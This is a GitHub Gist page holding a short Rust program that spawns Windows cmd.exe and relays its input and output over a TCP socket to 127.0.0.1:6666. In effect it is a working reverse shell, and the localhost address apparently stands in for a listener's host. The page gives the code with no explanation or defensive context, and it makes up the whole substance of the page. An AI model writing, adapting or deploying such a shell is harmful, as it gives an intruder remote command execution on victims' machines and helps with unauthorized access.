Created
June 13, 2022 11:26
-
-
Save und3ath/a51446484cbc49f9c35c46db576f8e02 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use std::io::{Read, Write, ErrorKind}; | |
use std::net::TcpStream; | |
use std::process::{Command, Stdio}; | |
use std::thread; | |
use std::time::{Duration}; | |
use std::sync::{Arc,Mutex}; | |
fn main() { | |
let mut proc = Command::new("cmd.exe") | |
.stdin(Stdio::piped()) | |
.stdout(Stdio::piped()) | |
.spawn() | |
.unwrap(); | |
let mut stdout_stream = proc.stdout.take().unwrap(); | |
let mut stdin_stream = proc.stdin.take().unwrap(); | |
let tcp_stream = TcpStream::connect("127.0.0.1:6666").unwrap(); | |
tcp_stream.set_nonblocking(true).unwrap(); | |
let strm = Arc::new(Mutex::new(tcp_stream)); | |
let thrd1 = Arc::clone(&strm); | |
let thrd2 = Arc::clone(&strm); | |
let handle_stdout_thread = thread::Builder::new() | |
.spawn(move || loop { | |
let mut buffer = [0; 256]; | |
match stdout_stream.read(&mut buffer){ | |
Err(_) => { | |
break; | |
} | |
Ok(u) => { | |
let mut stream = thrd2.lock().unwrap(); | |
let to_send = &buffer[0 .. u]; | |
stream.write(& to_send).unwrap(); | |
} | |
} | |
}).unwrap(); | |
let handle_tcp_stream = thread::Builder::new() | |
.spawn(move || loop { | |
let mut buffer = [0;256]; | |
let mut stream = thrd1.lock().unwrap(); | |
match stream.read(&mut buffer) { | |
Err(e) => match e.kind() { | |
ErrorKind::WouldBlock => { | |
drop(stream); | |
thread::sleep(Duration::from_secs(1)); | |
}, | |
_ => { | |
break; | |
} | |
} | |
Ok(n) => { | |
let to_send = &buffer[0 .. n]; | |
stdin_stream.write(&to_send).unwrap(); | |
} | |
} | |
}).unwrap(); | |
handle_stdout_thread.join().unwrap(); | |
handle_tcp_stream.join().unwrap(); | |
proc.wait().unwrap(); | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment